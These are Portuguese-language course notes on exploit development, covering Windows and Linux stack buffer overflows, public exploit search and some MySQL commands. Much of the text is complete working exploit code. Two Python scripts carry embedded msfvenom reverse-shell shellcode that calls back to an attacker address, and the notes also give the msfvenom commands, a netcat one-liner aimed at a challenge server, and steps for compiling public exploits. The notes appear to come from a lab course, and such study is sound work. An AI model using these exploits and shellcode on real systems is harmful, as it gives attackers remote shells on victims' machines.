  • Codigo Assembly em x64

.

global _main

section .data

    curso: db 'KidMan Security',0xa

section .text

_main:

    mov rax, 1

    mov rdi, 1

    mov rsi, curso

    mov rdx, 15

    syscall



    mov rax, 60

    mov rdi, 0

    syscall

.

strace ./assembly-x64 

Faz o monitoramento das chamadas de sistema para saber o que de fato o programa executa

ltrace programa 

Mostra as library usadas pelo programa informado

ldd programa 

Verifica também as bibliotecas que o programa tá usando/chamando e verifica se é linkado ou não

STRCPY,SCANF,GETS 

São comandos/códigos vulneráveis ao buffer-overflow

Nota: Usar o STRNCPY e informar o numero de chars que fica seguro ou informar no gets o número de bytes permitidos

BUFFER OVERFLOW - WINDOWS

#/usr/bin/python

import socket

lista=["A"]

contador=100

while len(lista) <= 50:

	lista.append("A"*contador)

	contador = contador + 100

for dados in lista:

	print "Fuzzing com SEND %s bytes"%len(dados)

	s.socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	s.connect(("192.168.254.207", 1020))

	banner = s.recv(1024)

	s.send("SEND "+dados"\r\n")

Com esse código acima você descobre até onde a aplicação quebra, depois é descoberto o número exato que ela de fato quebra... como é feito testando com o código abaixo.

#/usr/bin/python

import socket

dados = "A" * 2000 + "B" * 100 + "C" 100

s.socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.254.207", 1020))

banner = s.recv(1024)

s.send("SEND "+dados"\r\n")

A aplicação quebra em 2200, então a ideia é ir quebrando até chegar #no número exato que a aplicação quebra. 2200 é o número de bytes que a aplicação quebra como testado com o código acima.

Locate pattern_create

Localiza o pattern_create

/usr/bin/msf-pattern_create -l 2200 

Descobrir qual o padrão para pesquisar o offset no msf-pattern, deve ser usado com o código em python para enviar e monitorar com o Immunity o EIP

/usr/bin/msf-pattern_offset -l 2200 -q ED3R3EIP 

Com os dados em EIP informar na query e saber o offset para criar o exploit do buffer overflow

Nota: Para saber se tem espaço para o shellcode é necessário enviar mais letras após o tamanho dos bits encontrado no EIP para saber se cabe pelo menos 300 caracteres que seria o equivalente ao tamanho do shellcode

Gerando badchars com Python

for num in range(1, 256):

print hex(num).replace('0x','\\x'),

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

De uma forma automatizada para criar badchars é usando o !MONA bytearray No Immunity debugger

Para fazer o teste dos badchars é necessário mandar os caracteres gerados e dar um following dump para saber se tem algum char faltando e eliminar do shellcode, geralmente o \x00 \x0a \x0d

  • Pesquisando JUMP ESP

Com 2007 bytes e 4 bytes em EIP eu quebro a aplicação

E EIP apontando para ESP eu consigo colocar uma shell e ganhar acesso, mas para encontrar o endereço de retorno é necessário encontrar um endereço que faça um JMP ESP pois ESP sempre muda de endereço...COMO? Procura as dlls carregadas em E com direito na dll (preferência do programa) -> view code CPU -> search-for-command JMP ESP e copia o endereço para usar no Ponteiro. ALTERNATIVA !mona modules Verifica as que tem ASL (proteção) inativa ou !mona find -s "\xff\xe4" -m netserver.dll (dll que tem ASL em false) com o endereço, copia ele e clica na setinha azul do Immunity e vai para o endereço seta um breakpoint, prepara o codigo ex.: 0x625012a0 -> "\xa0\x12\x50\x62" Adiciona os NOPs "\x90" * 32

  • Gerando o shellcode .

    msfvenom -p windows/shell_reverse_tcp lhost=192.168.2.10 lport=443 exitfunc-thread -b "\x00" -f c

Comando para gerar o shellcode já excluindo os badchars (basta colocar o código e refazer o envio já inserindo o shellcode) Depois é só rodar o exploit e pronto.

Exploit criado para netserver

#!/usr/bin/python

import socket

#send = "A" * 1500 + "B" * 1500

#send = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

#send = "A" * 2007 + "BBBB" 0x625012a0

#badchar \x00

#send = "A" * 2007 + "\xa0\x12\x50\x62" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

shell = ("\xd9\xca\xb8\x8e\x06\xc1\xab\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"

"\x52\x83\xc7\x04\x31\x47\x13\x03\xc9\x15\x23\x5e\x29\xf1\x21"

"\xa1\xd1\x02\x46\x2b\x34\x33\x46\x4f\x3d\x64\x76\x1b\x13\x89"

"\xfd\x49\x87\x1a\x73\x46\xa8\xab\x3e\xb0\x87\x2c\x12\x80\x86"

"\xae\x69\xd5\x68\x8e\xa1\x28\x69\xd7\xdc\xc1\x3b\x80\xab\x74"

"\xab\xa5\xe6\x44\x40\xf5\xe7\xcc\xb5\x4e\x09\xfc\x68\xc4\x50"

"\xde\x8b\x09\xe9\x57\x93\x4e\xd4\x2e\x28\xa4\xa2\xb0\xf8\xf4"

"\x4b\x1e\xc5\x38\xbe\x5e\x02\xfe\x21\x15\x7a\xfc\xdc\x2e\xb9"

"\x7e\x3b\xba\x59\xd8\xc8\x1c\x85\xd8\x1d\xfa\x4e\xd6\xea\x88"

"\x08\xfb\xed\x5d\x23\x07\x65\x60\xe3\x81\x3d\x47\x27\xc9\xe6"

"\xe6\x7e\xb7\x49\x16\x60\x18\x35\xb2\xeb\xb5\x22\xcf\xb6\xd1"

"\x87\xe2\x48\x22\x80\x75\x3b\x10\x0f\x2e\xd3\x18\xd8\xe8\x24"

"\x5e\xf3\x4d\xba\xa1\xfc\xad\x93\x65\xa8\xfd\x8b\x4c\xd1\x95"

"\x4b\x70\x04\x39\x1b\xde\xf7\xfa\xcb\x9e\xa7\x92\x01\x11\x97"

"\x83\x2a\xfb\xb0\x2e\xd1\x6c\x7f\x06\xdb\x07\x17\x55\xdb\xd6"

"\x5c\xd0\x3d\xb2\xb2\xb5\x96\x2b\x2a\x9c\x6c\xcd\xb3\x0a\x09"

"\xcd\x38\xb9\xee\x80\xc8\xb4\xfc\x75\x39\x83\x5e\xd3\x46\x39"

"\xf6\xbf\xd5\xa6\x06\xc9\xc5\x70\x51\x9e\x38\x89\x37\x32\x62"

"\x23\x25\xcf\xf2\x0c\xed\x14\xc7\x93\xec\xd9\x73\xb0\xfe\x27"

"\x7b\xfc\xaa\xf7\x2a\xaa\x04\xbe\x84\x1c\xfe\x68\x7a\xf7\x96"

"\xed\xb0\xc8\xe0\xf1\x9c\xbe\x0c\x43\x49\x87\x33\x6c\x1d\x0f"

"\x4c\x90\xbd\xf0\x87\x10\xdd\x12\x0d\x6d\x76\x8b\xc4\xcc\x1b"

"\x2c\x33\x12\x22\xaf\xb1\xeb\xd1\xaf\xb0\xee\x9e\x77\x29\x83"

"\x8f\x1d\x4d\x30\xaf\x37")

send = "A" * 2007 + "\xa0\x12\x50\x62" + "\x90" * 32 + shell

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.2.106", 5800))

s.recv(1024)

#print banner

s.send("SEND "+send+"\r\n")

#r = s.recv(1024)

#print r

DESENVOLVIMENTO DE EXPLOITS WINDOWS 10

!mona findmsp 

Encontra o número do OffSet para chegar ao EIP e adiciona +4

  • Exploit Montado no módulo de dev exploit Win10

.

#/usr/bin/python/

import socket

# /usr/bin/msf-pattern_offset -l 1000 -q 42306142

# Exact match at offset 780

# bad chars:  \x00\x0a\x0d\x25\x26\x2b\x3d

# #dados="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af>

# 0x10090c83

# windows/shell_reverse_tcp -b "bad_chars" -f c

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.106 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f c


shell = ("\xb8\xd6\x7e\xbf\x1b\xd9\xcf\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"

"\x52\x83\xc2\x04\x31\x42\x0e\x03\x94\x70\x5d\xee\xe4\x65\x23"

"\x11\x14\x76\x44\x9b\xf1\x47\x44\xff\x72\xf7\x74\x8b\xd6\xf4"

"\xff\xd9\xc2\x8f\x72\xf6\xe5\x38\x38\x20\xc8\xb9\x11\x10\x4b"

"\x3a\x68\x45\xab\x03\xa3\x98\xaa\x44\xde\x51\xfe\x1d\x94\xc4"

"\xee\x2a\xe0\xd4\x85\x61\xe4\x5c\x7a\x31\x07\x4c\x2d\x49\x5e"

"\x4e\xcc\x9e\xea\xc7\xd6\xc3\xd7\x9e\x6d\x37\xa3\x20\xa7\x09"

"\x4c\x8e\x86\xa5\xbf\xce\xcf\x02\x20\xa5\x39\x71\xdd\xbe\xfe"

"\x0b\x39\x4a\xe4\xac\xca\xec\xc0\x4d\x1e\x6a\x83\x42\xeb\xf8"

"\xcb\x46\xea\x2d\x60\x72\x67\xd0\xa6\xf2\x33\xf7\x62\x5e\xe7"

"\x96\x33\x3a\x46\xa6\x23\xe5\x37\x02\x28\x08\x23\x3f\x73\x45"

"\x80\x72\x8b\x95\x8e\x05\xf8\xa7\x11\xbe\x96\x8b\xda\x18\x61"

"\xeb\xf0\xdd\xfd\x12\xfb\x1d\xd4\xd0\xaf\x4d\x4e\xf0\xcf\x05"

"\x8e\xfd\x05\x89\xde\x51\xf6\x6a\x8e\x11\xa6\x02\xc4\x9d\x99"

"\x33\xe7\x77\xb2\xde\x12\x10\x7d\xb6\x1e\x8a\x15\xc5\x1e\x4b"

"\x5d\x40\xf8\x21\xb1\x05\x53\xde\x28\x0c\x2f\x7f\xb4\x9a\x4a"

"\xbf\x3e\x29\xab\x0e\xb7\x44\xbf\xe7\x37\x13\x9d\xae\x48\x89"

"\x89\x2d\xda\x56\x49\x3b\xc7\xc0\x1e\x6c\x39\x19\xca\x80\x60"

"\xb3\xe8\x58\xf4\xfc\xa8\x86\xc5\x03\x31\x4a\x71\x20\x21\x92"

"\x7a\x6c\x15\x4a\x2d\x3a\xc3\x2c\x87\x8c\xbd\xe6\x74\x47\x29"

"\x7e\xb7\x58\x2f\x7f\x92\x2e\xcf\xce\x4b\x77\xf0\xff\x1b\x7f"

"\x89\x1d\xbc\x80\x40\xa6\xdc\x62\x40\xd3\x74\x3b\x01\x5e\x19"

"\xbc\xfc\x9d\x24\x3f\xf4\x5d\xd3\x5f\x7d\x5b\x9f\xe7\x6e\x11"

"\xb0\x8d\x90\x86\xb1\x87")


#dados = "A" * 780 + "\x83\x0c\x09\x10"     + "C" * (1000 - 780)

dados = "A" * 780 + "\x83\x0c\x09\x10"     + "\x90" * 16 + shell

tam = len(dados) + 20

request="POST /login HTTP/1.1\r\n"

request+="Host: 192.168.254.54\r\n"

request+="Content-Length: "+str(tam)+"\r\n"

request+="Cache-Control: max-age=0\r\n"

request+="Upgrade-Insecure-Requests: 1\r\n"

request+="Origin: http://192.168.254.54\r\n"

request+="Content-Type: application/x-www-form-urlencoded\r\n"

request+="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\r\n"

request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n"

request+="Referer: http://192.168.254.54/login\r\n"

request+="Accept-Encoding: gzip, deflate\r\n"

request+="Accept-Language: en-US,en;q=0.9\r\n"

request+="Connection: close\r\n"

request+="\r\n"

request+="username="+dados+"&password=A"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.2.106", 80))

s.send(request)

Nota: Resumindo-> Analisa a aplicação, comportamento, faz o primeiro teste que é saber até quantos chars a aplicação crasha, pode se usar o burp suite e testar e depois pegar o código HTML para inserir no script, depois pode se usar o comando do pattern-offset do msf para encontrar o endereço de EIP ou usar o comando !mona findmsp para encontrar o valor que aponta para EIP e usar a seta para poder encontrar o endereço no debugger e usar o f2 para inserir ele no breakpoint e depois encontrar o endereço que faz um JUMP ESP para colocar no EIP, assim apontando para EIP, após isso é necessário gerar códigos ASCII para inserir no programa e identificar os badchars e excluir na hora de gerar o shellcode com o msfvenom e depois inserir o shellcode no script. Com o Immunity debugger deve sempre atentar para restartar o serviço colocar no immunity clicar no botão play, setar um breakpoint para verificar se está correto a inserção do shellcode, lembrar de colocar para escutar na porta informada.

MECANISMOS DE PROTEÇÃO

DEP - Data prevention execution

Por padrão não vem habilitado para todos os programas, caso necessário, ativar o DEP para todos os programas /NXCOMPACT [:NO] para fazer programa seguro

ASLR - Deixar os endereços de memórias aleatórios - Evitando encontrar um endereço fixo. Pode habilitar a função no windows ou adicionar o /DINAMICBASE [:NO] no Código do arquivo.

BUFFER OVERFLOW - LINUX

Comandos do debugger está no módulo acima, em: Comandos do GDB e GDB tui para Debugger linux

Passa à passo para chegar no exploit final…

b* 0xendereco 

Com programa utilizado na aula dá um breakpoint do verifica no parâmetro gets

run < <(python2 -c 'print "A" * 200') 

Roda o comando com buffer de 200chars

i r 

Olha os registradores

x/16xw $esp 

Dá um follow nos chars do ESP

x/16xw $ebp 

Dá um follow nos chars do EBP

c 

Continua com o breakpoint

i r 

Olha os registradores

Analisa o LEA que reserva espaço na memória 0x88 = 136

run < <(python2 -c 'print "A" * 136') 

Roda o comando com buffer de 136chars

x/16xw $esp  

Dá um follow nos chars do ESP

x/16xw $ebp 

Dá um follow nos chars do EBP

run < <(python2 -c 'print "A" * 136 + "BBBB"') 

Roda o comando com buffer com buffer EIP

x/16xw $esp 

Dá um follow nos chars do ESP

x/16xw $ebp 

Dá um follow nos chars do EBP

run < <(python2 -c 'print "A" * 136 + "BBBB" + "CCCC"') 

Roda o comando com buffer com buffer EIP + validação

x/16xw $esp 

Dá um follow nos chars do ESP

x/16xw $ebp 

Dá um follow nos chars do EBP

c  

Continua com o breakpoint

i r 

Olha os registradores

Pega o endereço de acessar 0x56556270

run < <(python2 -c 'print "A" * 136 + "BBBB" + "\x70\x62\x55\x56"')

Roda e insere com os chars específicos para o buffer

i r 

Olha os registradores

x/16xw $esp  

Dá um follow nos chars do ESP

c 

Continua com o breakpoint

  • Dicas Debugger

.

b*  main 

Seta breakpoint em main

disas verifica 

Abre os endereços e códigos da parte verifica

set $eip  = 0x56556270 ou $eip 

Seta o endereço em EIP

d 

Deleta os breakpoints

disas verifica 

Abre os endereços e códigos da parte verifica

b* 0x5655626e 

Seta breakpoint no endereço informado

x/20s $eip 

Dá um dump nas infos gravadas no EIP

  • Exploração de binário (desafio)

.

nc 192.200.0.10 8888 

Sistema vulnerável para ganhar acesso com buffer overflow (./desafio)

info functions 

Dá uma olhada nas funções do sistema

disas main  

Abre os endereços e códigos da parte Main

run < <(python2 -c 'print "A" * 150') 

Roda o comando com buffer de 150chars

b *  0x0804855b 

Seta breakpoint no endereço informado

c 

Continua com o programa rodando depois do breakpoint

x/20xw $esp 

Dá um dump nas infos gravadas no ESP

i r 

Olha os registradores

  • Usar o patternCreate

.

run < <(python2 -c 'print "A" * 136 + "BBBB"') 

Roda o comando com buffer de 136 chars + EIP

c 

Continua com o programa rodando depois do breakpoint

  • Add o endereço da função do exploit 0x080484c0 no exploit

.

run < <(python2 -c 'print "A" * 136 + "\x0c\x84\x04\x08" ') 

Roda o comando com buffer de 136chars + EIP e o endereço de exploração que chama o exploit descoberto acima

c 

Continua com o programa rodando depois do breakpoint

python2 -c 'print "A" * 136 + "\x0c\x84\x04\x08" ' | nc 192.200.0.10 8888  

Exploit já criado pronto para ser executado no servidor que se encontra o programa.

TRABALHANDO COM EXPLOITS PÚBLICOS

Base de dados de exploits

    Exploit-db.com
    Packerstormsecurity.com
    Securityfocus.com
    Cve.mitre.org

.

site:exploit-db.com "ipfire" 

Pesquisa no google por vulnerabilidade no site passado

searchsploit -u 

Update a database de exploits (Tem a base de dados do exploit-db)

searchsploit webmin 

Procura pelo exploit do serviço informado

searchsploit webmin --exclude="phpMy|Dans" 

Filtros de exploits quando vem algo indesejado

searchsploit -e smb 

Procura exatamente pelo termo informado

searchsploit --id -m 41149 

Copia o exploit para o diretório atual (para exibir o ID é só passar o --id)

  • Usando o exploit em C para vulnerabilidade do syncbreeze

mingw Instalar software compilador do exploit para windows, o gcc não compila devido as libraries

i686-w64-mingw32-gcc 42341.c -o exploit.exe -lws2_32 

Compila o código executável (exploit)

PENTEST WEB - WEB HACKING

Ferramentas: Gobuster, burp suite , homebrew

http://burp Para baixar o certificado e configurar no navegador.
FoxProxy Plugin para ativar e desativar o proxy sem precisar ficar configurando
CookieManager Manipular cookies e fazer testes

Nota: Php não mostra o código fonte próprio, mas o HTML e JS sim.

  • Comandos MySQL

.

Todos os comandos são intuitivos, não precisa de descrição...

sudo service start mysql
sudo mysql
show databases;
select database();
select user();
select version();
create database Kidman;
use kidman;
show tables;
create table usuarios
    (id int primary key auto_increment,
    login varchar(20) not null,
    senha varchar(20) not null);
describe usuarios;
select id from usuarios;
insert into usuarios values ('1','admin','admin');
insert into users (id, login, pass) values ('1','admin','admin');
select * from usuarios;
selec login from usuarios;
select * usuarios where senha="admin"
select * usuarios order by login;
delete from usuarios where id="7";

use mysql;
show tables;
describe user;
select host, user, password from user;
create user ygor identified by 'senha123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
GRANT ALL PRIVILEGES ON database_name. * TO 'username'@'localhost' identified by 'p4$$';
alter user 'root'@'localhost' identified with mysql_native_password by 'root';
use informatio_schema;
show tables;
select * schemata; Traz todas as bases de dados
describe tables;
select table_schema, table_name from tables; 

Traz todas as tabelas de todos os bancos

select table_name from tables where table_schema="kidman"; 

Mostra diretamente as tabelas da base kidman

describe columns;
select column_name from columns where table_schema="kidman"; 

Faz um filtro para mostrar a tabela usuarios da base kidman

use kidman;
select login,senha from usuarios;
select concat(login, ':' ,senha) from usuarios 

Coloca uma concatenação no que o comando traz deixando mais simples

select @@version
select 45+54
select load_file('/var/www/html/index.html'); 

Carrega arquivo dentro do sgdb

select sleep(10); 

Aguarda em segundos a resposta do banco

select char(55); 

Taz um caractere correspondente

select length("kidman");
